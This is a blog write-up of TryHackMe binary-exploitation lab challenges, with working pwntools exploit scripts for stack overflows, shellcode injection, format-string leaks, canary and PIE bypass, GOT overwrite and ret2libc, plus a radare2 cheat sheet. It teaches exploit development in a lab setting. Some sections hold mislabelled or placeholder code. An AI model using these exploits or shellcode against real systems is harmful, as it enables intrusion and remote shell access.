This is all about Binary Exploitation. As i haven’t done that in a while i thought it would be nice to go back to TryHackMe and do some challenges there. I can only recommend the PWN101 as it’s about the right level for a refresher but it expects some knowledge to already be there so beware. Choose another room if you feel lost!
TOC
- TOC
- PWN101.pwn101 - Stack BOF - Straight to System Shell
- PWN102 - Stack BOF - Simple Execution Flow Change
- PWN103 - Hijack Execution Flow (BOF) - Ret2Win
- PWN104 - Stack BOF - Ret2Shellcode
- PWN105 - Integer Overflow/Underflow
- PWN106 - Format String Vulnerability - Reading the Stack
- PWN107 - Format String Vulnerability - PIE and Canary Bypass
- PWN108 - Format String Vulnerability - GOT Overwrite
- PWN109 - Stack BOF - Ret2Libc
- PWN110 - todo
- RADARE2 CheatSheet
- Random Scripts
PWN101.pwn101 - Stack BOF - Straight to System Shell
This should give you a start: ‘AAAAAAAAAAA’
Challenge is running on port 9001
When we start the binary we see following text:
Binary asks for input and prints something after we press enter.
If we enter longer string, we get dropped to a shell
File
1
2
luka@yurei:~/Desktop/thm$ file pwn101.pwn101
pwn101.pwn101: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=dd42eee3cfdffb116dfdaa750dbe4cc8af68cf43, not stripped
Binary is dynamically linked and it’s not stripped
Checksec
Disssasembly
We have function gets
which can get overflown buffer. Input comes from the variable var char +s @ rbp-0x40
. With 40 bytes/characters we fill the buffer.
Right below we have compare function (an if statement): (dissasembly view below!)
To solve the lab, we just need to overwrite the var_4h
or the 0x539
value which resides at rbp-0x4
.
As our stack starts growing at rbp-0x40 we need to add somewhere beetween (0x40-0x4) and additional 1-3 Bytes to overwrite the var_4h
.
Exploit (local)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context.binary = binary = './pwn101.pwn101'
padding_needed = 0x40-0x4
padding = "\x41"*padding_needed
junk = "\x42"
payload = padding + junk
proc = process('./pwn101.pwn101')
proc.recvline('Type the required ingredients to make briyani:')
proc.sendline(payload)
proc.interactive()
Exploit (remote)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context.binary = binary = './pwn102.pwn102'
padding_range = 0x70-0x08
padding = "\x41"*padding_range
# code = 0x0000c0d3 => \xd3\xc0\x00\x00
# coffee = 0x00c0ff33 => \x33\xff\xc0\x00
code = "\xd3\xc0\x00\x00"
coffee = "\x33\xff\xc0\x00"
payload = padding + code + coffee
proc = process('./pwn102.pwn102')
proc.recvline('Am I right?')
proc.send(payload)
proc.recv()
proc.interactive()
Binary has been pwned
PWN102 - Stack BOF - Simple Execution Flow Change
The challenge is running on port 9002
Let’s download the binary and check it locally.
It’s again a simple authentication that expect text input from us
It’s not that simple to crash it as the binary in the PWN101 so we’re going to have a deeper look.
File
Binary is dynamically linked and not stripped!
Checksec
Dissasembly in cutter
Let’s load the binary into cutter and check the main function and start from there.
We have 3 variables, 2 functions which are:
- setup
- banner
And there comes printf
which might be interesting if any format string vulnerabilities are present. I’ll switch to Decompiler to have a better look.
As it can be seen above, the printf
is just printing strings.
Our input get’s however loaded to scanf
function, and there comes If statement into play.
First of all, scanf is vulnerable. I’ve loaded the breakpoint address from the if statement into GDB b *main+148
and did notice that some pointers and stack was overflown.
Now onto the exploit.
Remember the variables:
- var_4h = 0xbadf00d
- var_8h = 0xfee1dead
Two subsequent IF statements want coffee and code:
- var_4h == 0x00c0ff33
- var_8h == 0x0000c0d3
If we calculate their positions, we can change the variables so we get that system call. We have c0f3 at ebp 0x70-0x8 and c0ff33 right afterwards (0x70-0x04).
Exploit (local)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context.binary = binary = './pwn102.pwn102'
padding_range = 0x70-0x08
padding = "\x41"*padding_range
# code = 0x0000c0d3 => \xd3\xc0\x00\x00
# coffee = 0x00c0ff33 => \x33\xff\xc0\x00
code = "\xd3\xc0\x00\x00"
coffee = "\x33\xff\xc0\x00"
payload = padding + code + coffee
proc = process('./pwn102.pwn102')
proc.recvline('Am I right?')
proc.send(payload)
proc.recv()
proc.interactive()
Exploit (Remote)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context.binary = binary = './pwn102.pwn102'
padding_range = 0x70-0x08
padding = "\x41"*padding_range
# code = 0x0000c0d3 => \xd3\xc0\x00\x00
# coffee = 0x00c0ff33 => \x33\xff\xc0\x00
code = "\xd3\xc0\x00\x00"
coffee = "\x33\xff\xc0\x00"
payload = padding + code + coffee
#proc = process('./pwn102.pwn102')
proc = remote('10.10.227.21',9002)
proc.recvline('Am I right?')
proc.send(payload)
proc.recv()
proc.interactive()
PWN103 - Hijack Execution Flow (BOF) - Ret2Win
The challenge is running on port 9003
Simply by running the binary, we get a menu. While choosing 3) General
we get Segmentation fault
File
1
2
luka@yurei:~/Desktop/thm/pwn103$ file pwn103.pwn103
pwn103.pwn103: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3df2200610f5e40aa42eadb73597910054cf4c9f, for GNU/Linux 3.2.0, not stripped
Checksec
Analysis
Let’s check decompiler first, for the sake of readibility, as the codebase is pretty big.
Main
We can see that we have switch. Spoler alert, the one with vulnerability is the General()
!
General
We have scanf function that takes our input…
… and is declared as string format specifier. We can enter as much characters/bytes as we want.
Note that in the end of the General function there is a compare, and if we check the address in hexdump, we’d find the string yes
In addition to all of that, there is Admins_only
function which is the one we want to solve this CTF
Admins_only
This is decompiled code
How can we get into the Admins_only
function? We can abuse scanf
function in general
. We can write to *s1
variable, which resides at rbp-0x20
. From there we can overwrite the return address of general
function that was put onto the stack and make it return to Admins_only
function instead.
In order to reach the return address, we need 8 more bytes (64-bit!) so 28 in total.
Because of MOVAPS issue we can add another RET instruction before actual payload call.
Exploit (local)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context.binary = binary = ELF("./pwn103.pwn103")
#p = process()
p = remote("10.10.16.17",9003)
p.sendline(b"3")
#admins_only_address = p64(0x00401554)
# alternative call
admins_only_address = p64(binary.symbols.admins_only)
ret_instruction = p64(0x00401377)
# payload before MOVAPS - adding ret_instruction
#payload = b"A"*0x20 + b"B"*0x8 + admins_only_address
# payload after fixing the bug
payload = b"A"*0x20 + b"B"*0x8 + ret_instruction + admins_only_address
p.sendline(payload)
p.interactive()
Exploit (remote)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context.binary = binary = ELF("./pwn103.pwn103")
#p = process()
p = remote("10.10.16.17",9003)
p.sendline(b"3")
#admins_only_address = p64(0x00401554)
# alternative call
admins_only_address = p64(binary.symbols.admins_only)
ret_instruction = p64(0x00401377)
# payload before MOVAPS - adding ret_instruction
#payload = b"A"*0x20 + b"B"*0x8 + admins_only_address
# payload after fixing the bug
payload = b"A"*0x20 + b"B"*0x8 + ret_instruction + admins_only_address
p.sendline(payload)
p.interactive()
PWN104 - Stack BOF - Ret2Shellcode
The challenge is running on port 9004
After downloading the binary let’s check what that appliation does?
Looks like another buffer overflow. When running binary few times, we can notice that that address that is provided to as in ... i'm waiting for you at...
changes with every execution
We have to deal with ASLR here. Another way to check this would be to check the address of Dynamic Linker
1
ldd pwn104.pwn104
Checksec and File check
Analysis
Buffer overflow is in the Read function So, we know what we will overwrite - Buffer (*buf
) starts at rbp-0x50
, but we musst know it’s address if we want to return to it.
Remember that binary is printing some addresses, but what is it printing exactly? => it’s the pointer to the buf ( see the printf function above)
Another thing to point out here is what gives us permission to execute custom shellcode from the stack? ==> NX is disabled!
This code was used to test the poinrer to the *buf
position using the leak that is there to help us ;)
1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context.binary = binary = ELF('./pwn104.pwn104')
p = process()
addr_leak = p.recv()
addr_main = addr_leak.split(b"at")[1].decode("utf-8")
print(addr_main)
# This prints the address in HEX format
Shellcode: https://www.exploit-db.com/exploits/42179
Exploit (local)
Notice how the leaked pointer address was splitted and converted to hexadecimal!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context.binary = binary = ELF('./pwn104.pwn104')
context.log_level = "debug"
# Size 23B - source: https://www.exploit-db.com/exploits/46907
shellcode=b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
p = process()
addr_leak = p.recv()
addr_buf_pointer = int(addr_leak.split(b"at")[1].strip().decode("utf-8"),16)
#print(addr_buf_pointer)
payload = shellcode + b"A"*(0x50 - len(shellcode)) + b"B"*0x8 + p64(addr_buf_pointer)
p.sendline(payload)
p.interactive()
Exploit (remote)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context.binary = binary = ELF('./pwn104.pwn104')
#context.log_level = "debug"
# Size 23B - source: https://www.exploit-db.com/exploits/46907
shellcode=b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
p = process()
p = remote("10.10.109.228",9004)
p.recv()
addr_leak = p.recv()
addr_buf_pointer = int(addr_leak.split(b"at")[1].strip().decode("utf-8"),16)
#print(addr_buf_pointer)
payload = shellcode + b"A"*(0x50 - len(shellcode)) + b"B"*0x8 + p64(addr_buf_pointer)
p.sendline(payload)
p.interactive()
Same code was used for remotely, execpt there was another p.recv()
needed which had to be debugged using context.log_level = "debug"
PWN105 - Integer Overflow/Underflow
The challenge is running on port 9005
File and Checksec
Analysis
There are no special functions of interest, so let us sheck the main
function. There are 2 scanf which are the ones that load our input to memory.
If we check the 0x000216f
in hexdump we can see that both point to with %d
format specifier. %d
stands stands for signed integer (negative AND positive).
- 0x00012fb both values are added and are saved on 0x000012fd into
var_ch
. - 0x00001303 compares if both signs are positive
If we check the rest of the execution flows, we can locate system call which is where we want to get to.
0x0000130a -
var_10h
is checked again if signed = if positive- Regarding CMP operand at
0x0000130e
:Compares the first source operand with the second source operand and sets the status flags in the EFLAGS register according to the results. The comparison is performed by subtracting the second operand from the first operand and then setting the status flags in the same manner as the SUB instruction. When an immediate value is used as an operand, it is sign-extended to the length of the first operand. … The CF, OF, SF, ZF, AF, and PF flags are set according to the result
- 0x00001312 checks if signed (sf=1) => the result this is the point where we need negative result to get to the branch with system function
We are aiming at Integer overflow/underflow. I’ve personally had to deal with the same concept here: http://cybersec-research.space/posts/Bussines-Logic-Vulnerabilities/#low-level-logic-flaw—integer-overflow
If we overflow the left-most bit of the signed integer, we will endup with a negative value.
Exploit
To solve the lab we musst add (>=1) to the highest possible positive number of signed integer in 32-bit space => 2147483647
This will work on remote machine as well.
PWN106 - Format String Vulnerability - Reading the Stack
The challenge is running on port 9006
Download the lab and run it to check what we’re dealing with.
We have print format vulnerability as we’re leaking memory as seen above.
File
64-bit, dynamically linked and not stripped
Checksec
Dissasembly
We can see flags placeholder on the stack, so we’ll try to leak memory here.
Calling convention in x64 bit stack => RDI, RSI, RDX, RCX, R8, R9 and then Stack!
Exploit local
Link to calling convetion ==>
Let’s try to leak some data.
1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.binary = binary = './pwn106user.pwn106-user'
#payload = "%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX"
payload = "%6$lX.%7$lX.%8$lX.%9$lX.%a$lX"
conn = process('./pwn106user.pwn106-user')
conn.recv()
conn.sendline(payload)
result= conn.recvall()
print(result)
Relevant data starts at 6th position until 10th. Bytes needs to be compared to actually match the ascii representations.
1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context.binary = binary = './pwn106user.pwn106-user'
conn = remote('10.10.93.168',9006)
#payload = "%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX"
payload = "%6$lX.%7$lX.%8$lX.%9$lX.%10$lX.%11$lX"
conn.recv()
conn.sendline(payload)
result= conn.recvall()
print(result)
Using script we get the flag. Decoding was done using Cyberchef.
Exploit Remote
1
Scripts comes here!
Putting output to the cyberchef shows the flag.
PWN107 - Format String Vulnerability - PIE and Canary Bypass
Download the lab and check what is all about
Typing simple %x
leaks a memory address.
File
Checksec
Analysis
The second variable *buf
takes in 0x200 where only 0x20 were allocated to.
There is also a function that isn’t called from the execution flow perspective and this is the get_streak
function which also has system
function in it which calls shell.
Canary resides at rbp-0x8
so in order to overwrite it we would need to know it’s value beforehand. Do we have Format String vulnerability before the Read
function? Yes we do!
To leak the addresses now, we need to start debugging. I’ll use radare2 debugger as razvi uses in his video https://www.youtube.com/watch?v=FpKL2cAlJbM
Start the binary: radare2 -d -A pwn107.pwn107
I’ll leave a cheat-sheet below because i also tend to forget the commands used for each debugger!
This is now main
function loaded in radare2. Use pdf @ main
to print it.
Now let’s set the breakpoints where our printf vulnerability call starts and after it.
1
2
[0x7fa225a1e2b0]> db 0x557397c00a25
[0x7fa225a1e2b0]> db 0x557397c00a2a
Start with execution using dc
As we’ve hit the breakpoint let’s read the stack using pxr @ rsp
. Below i’ve raked the RSP and RBP pointers.Stack direction is displayed upside down!
We can now see where canary and other variables are at, at this point of execution. Canary is at RBP-0x8. If we chose to overwrite it, we would also need to return back to the function (main).
We can’t use the return adress of main because this points to libc_so.6 so we need to return somewhere in the main function! We can use dm
memory map to see to which process one address belongs.
We should take one that belongs to pwn107.pwn107
and also stays on the on the stack after we write onto stack through read
functon
Exploit - 1st Part => Format String Vulnerability Leak
Now to leak simple addresses we run into how-much-space-do-we-have problem. It’s 20Bytes.
We leak the addresses from 6th position - Notice the 0x44434241!
If we now want to leak 7th and 11th position from top of the RSP (7th = canary, 11th = function to return to) we just need to add 6th. Let’s test this in debugger! We will leak 13th and 17th position respectively!
Now after running following script, the leaks seem right
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
'''
Exploit starts with format string vulnerability with first entry (Read function). It can read only 20 Bytes.
It was calculated that canary leaks at 13th position
and the function to return to at 17th.
'''
from pwn import *
context.binary = binary = ELF("./pwn107.pwn107",checksec=False)
# This serves just to get the offset from the start of the binary
static_libc_csu_address = binary.symbols.__libc_csu_init
print("Address of static libc csu init: {}".format(hex(static_libc_csu_address)))
p = process()
p.recvuntil(b"streak?")
payload = b"%13$lX.%17$lX"
p.sendline(payload)
p.recvuntil(b"streak:")
output = p.recv().split(b"\n")[0]
print(output)
To fix the formatting of the leaked addresses, script was modified.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
'''
Exploit starts with format string vulnerability with first entry (Read function). It can read only 20 Bytes.
IT was calculated that canary leaks at 9th position and the function to return to at 17th.
'''
from pwn import *
context.binary = binary = ELF("./pwn107.pwn107",checksec=False)
# This serves just to get the offset from the start of the binary
static_libc_csu_address = binary.symbols.__libc_csu_init
static_main_address = binary.symbols.main
print("Address of static libc csu init: {}".format(hex(static_libc_csu_address)))
print("Address of static main function: {}".format(hex(static_main_address)))
p = process()
p.recvuntil(b"streak?")
payload = b"%13$lX.%17$lX"
p.sendline(payload)
#print("Payload to leak Canary and Func: {}".format(hex(payload)))
p.recvuntil(b"streak:")
output = p.recv().split(b"\n")[0]
print("Leaked Addresses (unformated): {}".format(output))
dynamic_main_address = int(output.split(b".")[1].strip(), 16)
canary_address = int(output.split(b".")[0].strip(), 16)
print("Dynamic Libc: {}".format(hex(dynamic_main_address)))
print("Canary: {}".format(hex(canary_address)))
# Output
#Leaked Addresses (unformated): b' 6C70AC6BD4259200.565120E00992'
#Dynamic Libc: 0x565120e00992
#Canary: 0x6c70ac6bd4259200
'''
In order to get the base address of the binary, we muss subtract static from dynamic address!
'''
dynamic_base_address = dynamic_main_address - static_main_address
binary.address = dynamic_base_address
print("New binary address starts now at: {}".format(hex(dynamic_base_address)))
# From this point on it's all about buffer overflow
Important takeaway here is:
IF we substract static base address from dynamic address that was leaked, we get a base address of the binary.
I recommend following post which explains the offsets very well: https://www.politoinc.com/post/return-to-libc-linux-exploit-development
Exploit - 2nd Part = Buffer Overflow
Regarding Buffer oveflow this is the part where it happens:
1
2
3
; var const char *format @ rbp-0x40
; var void *buf @ rbp-0x20
; var int64_t canary @ rbp-0x8
To recap, input will be put into *buf
at rbp-0x20
and up to 200 bytes can be written. At rbp-0x8
we reach the canary, which we will need to rewrite.
To calculate the bytes we can use calculator which gives us 0x18
1
0x20 - 0x8 = 0x18
Or do it with python script directly.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
'''
Exploit starts with format string vulnerability with first entry (Read function). It can read only 20 Bytes.
IT was calculated that canary leaks at 9th position and the function to return to at 17th.
'''
from pwn import *
context.binary = binary = ELF("./pwn107.pwn107",checksec=False)
# This serves just to get the offset from the start of the binary
static_main_address = binary.symbols.main
print("Address of static libc csu init: {}".format(hex(static_libc_csu_address)))
print("Address of static main function: {}".format(hex(static_main_address)))
p = process()
p.recvuntil(b"streak?")
payload = b"%13$lX.%17$lX"
p.sendline(payload)
#print("Payload to leak Canary and Func: {}".format(hex(payload)))
p.recvuntil(b"streak: ")
output = p.recv().split(b"\n")[0]
print("Leaked Addresses (unformated): {}".format(output))
dynamic_main_address = int(output.split(b".")[1].strip(), 16)
canary_address = int(output.split(b".")[0].strip(), 16)
print("Dynamic Libc: {}".format(hex(dynamic_main_address)))
print("Canary: {}".format(hex(canary_address)))
# Output
#Leaked Addresses (unformated): b' 6C70AC6BD4259200.565120E00992'
#Dynamic main: 0x6c70ac6bd4259200
#Canary: 0x565120e00992
'''
In order to get the base address of the binary, we muss subtract static from dynamic address!
'''
dynamic_base_address = dynamic_main_address - static_main_address
binary.address = dynamic_base_address
print("New binary address starts now at: {}".format(hex(dynamic_base_address)))
# From this point on it's all about buffer overflow
# Remember, we want to get into the get_streak function!
dynamic_get_streak = binary.symbols.get_streak
## Implant the RET Gadget since running it on Ubuntu
rop=ROP(binary)
ret_gadget= rop.find_gadget(['ret'])[0]
payload = b"A"*0x18 + p64(canary_address) + b"B"*8 + p64(ret_gadget) + p64(dynamic_get_streak)
p.sendline(payload)
p.interactive()
PWN108 - Format String Vulnerability - GOT Overwrite
Download the file and run it to see what we’re up against (in case we can notice something!)
We are asked for 2 inputes (name, register no.). Name seems normal at the first glanze where Register No.
leaks memory.
File
Checksec
Finding the vulnerability (Decompiler)
So we’ve found the canary and where the vulnerability exists. At the end of the main function, there’s a IF statement
One returns to some address and another one is a fail. This is canary check, but there is another function Holidays() which has system function in it. This is where we want to return!
Regarding GOT overwrite itself. We will rewrite puts
function as it does not appear in the holidays()
function as printf
does!
Exploitation
First we must find the position where our input get’s injected onto the stack.
Let’s write the Puts GOT address into the 10th position using format string vulnerability
1
2
3
4
5
6
7
8
9
from pwn import *
context.binary = binary = ELF("./pwn108.pwn108", checksec=False)
# PWNTools will get the offset from the binary!
got_puts_address = binary.got.puts
print("GOT puts address has an offset of {}".format(hex(got_puts_address)))
junk_payload = b"A"*0x12
After Explanation from Razvi ==> https://www.youtube.com/watch?v=9SWYvhY5dYw&t=845s we can calculate the number of bytes to write by subtracting written bytes so far with desired value!.
Format specifier %x
prints integers as hexadecimal!
1
payload = p64(got_puts_address) + b"%10$n"
Since put Address has 0x00 in it, we have to turn the payload around.
1
payload = b"%40X%12$nAAAAAAA" + p64(got_puts_address)
We need AAAAAAA
in order to fill the bytes and with that our got_puts_address comes at the 12th position
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context.binary = binary = ELF("./pwn108.pwn108", checksec=False)
# PWNTools will get the offset from the binary!
got_puts_address = binary.got.puts
print("GOT puts address has an offset of {}".format(hex(got_puts_address)))
#fill the read buffer. If my understanding is correct, we could also use readuntil from pwn tools and give an input here, but result should be the same.
junk_payload = b"A"*0x12
#payload = p64(got_puts_address) + b"%10$n"
#Turn the address around to avoid stopping reading because of null bytes
payload = b"%40X%12$nAAAAAAA" + p64(got_puts_address)
with open("payload", "wb") as f:
f.write(junk_payload)
f.write(payload)
The script above will write a payload to a file, which can be ingested to Radare2
Payload can be read in radare like this
1
radare2 -R stdin=payload -d -A pwn108.pwn108
Set breakpoints where vulnerable printf
function resides and on the instruction after using db 0x12312312
command.
We’ve hit the breakpoint. We can check if the location from puts has been filled using pxr @ section..got.plt
If we continue the execution and check the puts value again in the got.plt
we have the value that we’ve overwritten with, but only the first 4 bytes. This is because %n
format specifier only writes 4 bytes by default.
To overwrite the full value, we just have to conduct 2 writes instead of the single one.
Holiday()
function starts at 0x40123b
To better understand this, i’ve used following resource which explains this topic really well: https://axcheron.github.io/exploit-101-format-strings/
We will rewrite the payload as following.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context.binary = binary = ELF("./pwn108.pwn108", checksec=False)
# PWNTools will get the offset from the binary!
got_puts_address = binary.got.puts
print("GOT puts address has an offset of {}".format(hex(got_puts_address)))
#fill the read buffer
junk_payload = b"A"*0x12
#payload = p64(got_puts_address) + b"%10$n"
#Turn the address around to avoid stopping reading because of null bytes
'''
Number of bytes to write = Desired value - bytes written so far
1st write = (0x40) 64 - 0 = 64
2st write = (0x123b) 4667 - 64 = 4603
'''
### AAA is used for padding
payload = b"%64X%13$n" + b"%4603X%14$hnAAA" + p64(got_puts_address+2) + p64(got_puts_address)
'''
with open("payload", "wb") as f:
f.write(junk_payload)
f.write(payload)
'''
p = process()
p = remote("10.10.94.223",9008)
p.send(junk_payload)
p.send(payload)
p.interactive()
PWN109 - Stack BOF - Ret2Libc
The challenge is running on port 9009
Let’s download the binary and start it. Binary throws an Segmentation fault
error if we add longer input
File and Checksec
Analysis
Cutter Dissasembly
There are no other functions of our interest.
Vulnerable function gets
is vulnerable to buffer overflow and is located at rbp-0x20
. As there are no other functions, we need to leak libc address which has system function in it. to actually leak that, we’d need to use another function, like puts
for which the offset is known
As return to the main function will be necessary, we need gadgets to do that. I’ll strictly be following Razvi in his video https://www.youtube.com/watch?v=TTCz3kMutSs&t=850s and use ROPgadget to search for them.
1
ROPgadget --binary ./pwn109.pwn109 --depth 12 > gadgets.txt
As 64-bit saves data to registers (first one is RDI), the Gadget should do exactly that. E.g.,
1
0x00000000004012a3 : pop rdi ; ret
Leaking the addresses from stack
This script prints the values of all three functions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
context.binary = binary = ELF("./pwn109.pwn109",checksec=False)
pop_rdi_ret = p64(0x00000000004012a3)
ret = p64(0x000000000040101a)
plt_puts = p64(binary.plt.puts)
got_puts = p64(binary.got.puts)
got_gets = p64(binary.got.gets)
got_setvbuf = p64(binary.got.setvbuf)
payload = b"A"*0x20
payload += b"B"*0x8
# We need to define what to actually print. Mind that data is stored in RDI, then the GOT Address and plt PUTS at last
payload += pop_rdi_ret + got_puts + plt_puts
payload += pop_rdi_ret + got_gets + plt_puts
payload += pop_rdi_ret + got_setvbuf + plt_puts
p = process()
p.recvuntil(b"ahead")
p.recv()
p.sendline(payload)
out = p.recv().split(b"\n")
leaked_puts_address = u64(out[0].ljust(8, b"\x00"))
leaked_gets_address = u64(out[1].ljust(8, b"\x00"))
leaked_setvbuf_address = u64(out[2].ljust(8, b"\x00"))
print("Leaked PUTS Address: {}".format(str(hex(leaked_puts_address))))
print("Leaked GETS Address: {}".format(str(hex(leaked_gets_address))))
print("Leaked SETVBUF Address: {}".format(str(hex(leaked_setvbuf_address))))
#p.interactive()
1
2
3
4
5
luka@yurei:~/Desktop/thm/pwn109$ python3 pwn109.py
[+] Starting local process '/home/luka/Desktop/thm/pwn109/pwn109.pwn109': pid 105549
Leaked PUTS Address: 0x7fee0cd3ced0
Leaked GETS Address: 0x7fee0cd3c5a0
Leaked SETVBUF Address: 0x7fee0cd3d670
If i check remotely, the end addresses of the last 3 nibbles are always the same.
We can determine which libc has been used, even online on like https://libc.tip or https://libc.nullbyte.cat which already displays offsets!
Final Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
context.binary = binary = ELF("./pwn109.pwn109",checksec=False)
pop_rdi_ret = p64(0x00000000004012a3)
ret = p64(0x000000000040101a)
main = p64(binary.symbols.main)
plt_puts = p64(binary.plt.puts)
got_puts = p64(binary.got.puts)
got_gets = p64(binary.got.gets)
got_setvbuf = p64(binary.got.setvbuf)
payload = b"A"*0x20
payload += b"B"*0x8
# We need to define what to actually print. Mind that data is stored in RDI, then the GOT Address and plt PUTS at last
payload += pop_rdi_ret + got_puts + plt_puts
payload += pop_rdi_ret + got_gets + plt_puts
payload += pop_rdi_ret + got_setvbuf + plt_puts
payload += main
p = process()
p=remote("10.10.178.191", 9009)
p.recvuntil(b"ahead")
p.recv()
p.sendline(payload)
out = p.recvall().split(b"\n")
# u64 does the opposite what p64 does. It unpacs from little endian 64bit
leaked_puts_address = u64(out[0].ljust(8, b"\x00"))
leaked_gets_address = u64(out[1].ljust(8, b"\x00"))
leaked_setvbuf_address = u64(out[2].ljust(8, b"\x00"))
print("Leaked PUTS Address: {}".format(str(hex(leaked_puts_address))))
print("Leaked GETS Address: {}".format(str(hex(leaked_gets_address))))
print("Leaked SETVBUF Address: {}".format(str(hex(leaked_setvbuf_address))))
# 2nd stage where we return to the main function, exploit gets once again and return to libc system to spawn a shell. Offsets below were gotten from libc.nullbyte.cat
'''
system 0x04f550 -0x30c40
gets 0x080190 0x0
puts 0x080aa0 0x910
setvbuf 0x0813d0 0x1240
open 0x10fd10 0x8fb80
read 0x110140 0x8ffb0
write 0x110210 0x90080
str_bin_sh 0x1b3e1a 0x133c8a
'''
payload = b"A"*0x20
payload += b"B"*0x8
# ubuntu needs ret!
payload += ret
payload += pop_rdi_ret + p64(leaked_gets_address + 0x133c8a)
payload += p64(leaked_gets_address - 0x30c40)
p.sendline(payload)
p.interactive()
PWN110 - todo
I’ve decided to do PWN110 at some later time, as i’ve not felt ready to build my own ROP Chains ;)
RADARE2 CheatSheet
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# Start radare2
r2 -R stdin=payload -d -A ./babyecho
# disas
pdf @ main
# Set breakpoints, e.g., before and after the call
db 0x12312312
#prints stack at address
pxr @ 0xadresscomeshere
# Print section
pxr @ section..got.plt
#prints string at adress
ps @ 0xaddresscomeshere
#prints 30 bytes from rsp
pxr 30 @ rsp
#print registers
dr
#prints current section
iS.
#execution continue
dc
# Continue for 1 command
ds
- `pxa @ rsp` - to show annotated hexdump
- `pxw @ rsp` - to show hexadecimal words dump (32bit)
- `pxq @ rsp` - to show hexadecimal quad-words dump (64bit)
- `ad@r:SP` - to analyze the stack data
# Restart program
oo
# Display vaariables
avfd
.afvd local_4h
Random Scripts
Leak addresses - format string vuln
1
for i in `seq 1 20`; do timeout 1 echo -e "%$i\$lX" | nc -q 1 10.10.42.49 9007 | grep "Your current streak:";done